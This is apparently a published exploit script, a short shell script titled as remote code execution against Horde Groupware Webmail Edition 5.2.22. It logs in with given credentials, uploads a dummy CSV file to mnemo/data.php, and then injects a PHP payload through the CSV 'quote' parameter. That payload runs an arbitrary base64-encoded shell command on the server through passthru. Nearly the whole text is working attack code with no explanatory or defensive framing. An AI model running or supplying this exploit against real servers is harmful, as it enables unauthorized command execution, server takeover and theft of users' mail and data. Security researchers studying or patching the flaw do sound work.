Horde Groupware Webmail Edition 5.2.22 - Remote Code Execution

#!/bin/sh

if [ "$#" -ne 4 ]; then
    echo '[!] Usage: <url> <username> <password> <command>' 1>&2
    exit 1
fi

BASE="$1"
USERNAME="$2"
PASSWORD="$3"
COMMAND="$4"

JAR="$(mktemp)"
trap 'rm -f "$JAR"' EXIT

echo "[+] Logging in as $USERNAME:$PASSWORD" 1>&2
curl -si -c "$JAR" "$BASE/login.php" \
    -d 'login_post=1' \
    -d "horde_user=$USERNAME" \
    -d "horde_pass=$PASSWORD" | grep -q 'Location: /services/portal/' || \
    echo '[!] Cannot log in' 1>&2

echo "[+] Uploading dummy file" 1>&2
echo x | curl -si -b "$JAR" "$BASE/mnemo/data.php" \
    -F 'actionID=11' \
    -F 'import_step=1' \
    -F 'import_format=csv' \
    -F 'notepad_target=x' \
    -F 'import_file=@-;filename=x' \
    -so /dev/null

echo "[+] Running command" 1>&2
BASE64_COMMAND="$(echo -n "$COMMAND 2>&1" | base64 -w0)"
curl -b "$JAR" "$BASE/mnemo/data.php" \
    -d 'actionID=3' \
    -d 'import_step=2' \
    -d 'import_format=csv' \
    -d 'header=1' \
    -d 'fields=1' \
    -d 'sep=x' \
    --data-urlencode "quote=).passthru(base64_decode(\"$BASE64_COMMAND\")).die();}//\\"